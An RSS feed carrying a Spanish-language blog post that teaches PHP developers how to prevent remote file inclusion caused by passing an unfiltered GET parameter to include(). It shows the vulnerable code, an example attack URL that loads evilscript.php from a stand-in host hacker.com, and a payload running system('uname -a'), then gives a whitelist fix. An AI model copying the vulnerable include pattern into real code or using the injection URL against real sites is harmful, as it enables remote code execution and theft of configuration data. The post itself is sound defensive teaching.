<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jorge Albaladejo &#187; exploits</title>
	<atom:link href="http://jorgealbaladejo.com/tag/exploits/feed/" rel="self" type="application/rss+xml" />
	<link>http://jorgealbaladejo.com</link>
	<description>Hard &#38; Soft design...</description>
	<lastBuildDate>Sat, 10 Dec 2011 16:23:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Protecting your application from exploits related to include()</title>
		<link>http://jorgealbaladejo.com/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/</link>
		<comments>http://jorgealbaladejo.com/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/#comments</comments>
		<pubDate>Tue, 05 Jun 2007 11:17:16 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[include]]></category>

		<guid isPermaLink="false">http://labs.abc-webs.net/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/</guid>
		<description><![CDATA[Como hemos visto en capítulos anteriores sobre problemas de seguridad y sql injection, hay una serie de aspectos relacionados con la seguridad a tener en cuenta a la hora de diseñar una aplicación web. Uno de los más explotados es la falla abierta por un uso indebido de la función de php include(). Veamos un [...]]]></description>
			<content:encoded><![CDATA[<p>Como hemos visto en capítulos anteriores sobre <a href="http://jorgealbaladejo.com/?p=18" title="problemas de seguridad y sql injection">problemas de seguridad y sql injection</a>, hay una serie de aspectos relacionados con la seguridad a tener en cuenta a la hora de diseñar una aplicación web. Uno de los más explotados es la falla abierta por un uso indebido de la función de php include().</p>
<p>Veamos un ejemplo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code5'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p225"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code" id="p22code5"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=home.php&quot;</span><span style="color: #339933;">&gt;</span>Home<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span> <span style="color: #339933;">|</span> <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=contact.php&quot;</span><span style="color: #339933;">&gt;</span>Contact<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span>
    <span style="color: #b1b100;">include</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">else</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;404, page not found!&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>En el ejemplo anterior, pasamos como variable &#8216;$page&#8217; el nombre del archivo (php en este caso, podrí­a ser html u otra extensión), que será cargado en la lí­nea correspondiente mediante &#8216;include()&#8217;. La ausencia de filtrado de esta variable puede dejar nuestra aplicación a merced de cualquier intruso poco experimentado, veamos por qué.<br />
<span id="more-22"></span></p>
<ol>
<li>El sistema es fácilmente reconocible. La cadena &#8216;?page=paginaXXX.php&#8217; sugiere que en cada sección se está cargando un archivo externo, y que por tanto debe de haber un include cerca.</li>
<li>Si la variable no está filtrada, podemos pasarle código que haga lo que nosotros queramos. Podemos indicarle que cargue un archivo ubicado en cualquier servidor, con código que realice desde llamadas a bases de datos hasta (lo más común), envíos masivos de emails (spam). Aquí­ el problema es bastante grave porque cuando estos abusos se detectan suele ser una vez se han cometido, y eso casi siempre es tarde</li>
</ol>
<p>Supongamos un ejemplo: copiemos el código anterior en un archivo llamado &#8216;hackme.php&#8217;, pongámoslo en un servidor web, y llamémoslo pasándole este valor a la variable &#8216;$page&#8217;:  http://www.tusitio.com/hackme.php?page=http://www.hacker.com/evilscript.php</p>
<p>Esto leerá el archivo evilscript.php del servidor hacker.com y ¡lo ejecutará en tu máquina! Si el archivo evilscript.php fuera por ejemplo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code6'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p226"><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code" id="p22code6"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <a href="http://www.php.net/system" rel="external"><span style="color: #990000;">system</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uname -a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>El intruso estaría obteniendo el sistema operativo, lo que podría darle información acerca de posibles vulnerabilidades. Pero también podría, por ejemplo, leer cualquier archivo &#8216;config.php&#8217; y mostrar su contenido en pantalla ofreciendo así datos importantes sobre la aplicación, etc.</p>
<p>Es como dejar un Ferrari aparcado con las llaves puestas.</p>
<p>Para solucionar este problema de ejecución de código malicioso en nuestra aplicación, deberí­amos sustituir la lí­nea</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code7'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p227"><td class="line_numbers"><pre>1
</pre></td><td class="code" id="p22code7"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>por un filtro apropiado para nuestra aplicación:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code8'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p228"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code" id="p22code8"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=home.php&quot;</span><span style="color: #339933;">&gt;</span>Home<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span> <span style="color: #339933;">|</span> <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;?page=contact.php&quot;</span><span style="color: #339933;">&gt;</span>Contact<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">:</span>
    <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;home.php&quot;</span><span style="color: #339933;">:</span>
      <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;home.php&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;contact.php&quot;</span><span style="color: #339933;">:</span>
      <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;contact.php&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
      <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;404.php&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>De este modo, en nuestro sistema se ejecutará única y exclusivamente el código que se debe ejecutar. Al menos, en cuanto a lo que la función include() se refiere.</p>
]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2007/06/05/protege-tu-aplicacion-de-exploits-relacionados-con-include/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

